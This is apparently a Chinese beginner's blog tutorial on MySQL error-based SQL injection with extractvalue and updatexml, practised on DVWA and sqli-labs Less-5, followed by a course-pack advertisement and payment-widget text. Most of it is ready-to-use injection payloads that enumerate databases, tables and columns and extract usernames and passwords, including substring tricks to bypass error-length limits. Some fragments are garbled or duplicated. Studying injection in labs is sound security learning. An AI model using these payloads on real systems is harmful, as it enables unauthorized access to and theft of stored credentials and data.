小白报错注入学习(以extractvalue函数报错为例)_extractvaluestopoints失败

1’ union select 1,database() #

爆表名:

1’ union select 1,

group_concat(table_name)

//使用GROUP\_CONCAT(table\_name)将表名连接为一个字符串,并使用逗号作为分隔符。

from information_schema.tablesinformation\_schema

是MySQL提供的一个系统数据库,其中包含有关数据库和表的元数据信息。

where table_schema=database()#

爆字段名

1’ union select 1,group_concat(column_name)

from information_schema.columns

where table_name=‘users’ and table_schema=‘dvwa’#

1’ union select group_concat(user),group_concat(password) from users#

2.什么是报错注入?extractvalue报错注入又是什么?

Less5:?id=1’ union select 1,2,databaae() --+

从 mysql5.1.5 开始提供两个 XML 查询和修改的函数,extractvalue 和 updatexml

extractvalue 负责在 xml 文档中按照 xpath 语法查询节点内容

updatexml 则负责修改查询到的内容:

3.报错注入会用到什么函数?

updatexml()与extractvalue()

updatexml (A, B, C)

A:String 格式,XML 文档对象的名称

B:XPath_string (Xpath格式的字符串)

C:String 格式,替换查找到的符合条件的数据

extractvalue(A,B)

A:string格式,为xml文档对象的名称

B:Xpath_string是xpath格式的字符串

4.报错注入payload

如上所知extractvalue(A,B)中函数B是要属于xpath格式的字符串,`  ~  $  #

利用这点,构造payload

payload:

id=1’and(select extractvalue(“anything”,concat(‘~’,(select语句))))

5.漏洞利用流程(sqllib靶场Less_5)

拿到注入点:

  1. 先分析是 字符型/数字型

数字型注入

or 1=1——回复正常,与原始页面无差别

and 1=2——回复正常,与原始页面有差别

字符型注入

and 1=1 --+    回显正常

and 1=2 --+    回显异常

  1. 判断列数

1’ order by 1 --+

  1. 构造payload

?id=1’ union select extractvalue (1,concat(0x7e,(SQL语句)))  --+

爆库名

?id=1’ union select 1,2,extractvalue (1,concat(0x7e,(select database())))  --+

爆表名

?id=1’ union select 1,2,extractvalue (1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=‘security’)))  --+

爆字段名

?id=1’ union select 1,2,extractvalue (1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=‘users’)))  --+

?id=1’ union select 1,2,extractvalue (1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=‘security’ and table_name=‘users’)))  --+

查询内容

?id=1’ union select 1,2,extractvalue (1,concat(0x7e,(select group_concat(username,‘-’,password) from security.users)))  --+

截取内容

?id=1’ union select 1,2,extractvalue (1,concat(0x7e,(select substring(group_concat(username,‘-’,password),1,30) from security.users)))  --+

因为一次报错的内容限制32个字符,所以我们用substring截取

Substring(A,B,C)函数

A:参数字符串

B:开始截取的位置

C:截取长度

6.知道extractvalue()懂updatexml()

extractvalue(A,B)

A:string格式,为xml文档对象的名称

B:Xpath_string是xpath格式的字符串

updatexml (A, B, C)

最后

自我介绍一下,小编13年上海交大毕业,曾经在小公司待过,也去过华为、OPPO等大厂,18年进入阿里一直到现在。

深知大多数网络安全工程师,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!

因此收集整理了一份《2024年网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。

img

img

img

img

img

既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点!真正的体系化!

如果你觉得这些内容对你有帮助,需要这份全套学习资料的朋友可以戳我获取!!

由于文件比较大,这里只是将部分目录截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且会持续更新!

046076)]

既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点!真正的体系化!

如果你觉得这些内容对你有帮助,需要这份全套学习资料的朋友可以戳我获取!!

由于文件比较大,这里只是将部分目录截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且会持续更新!

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值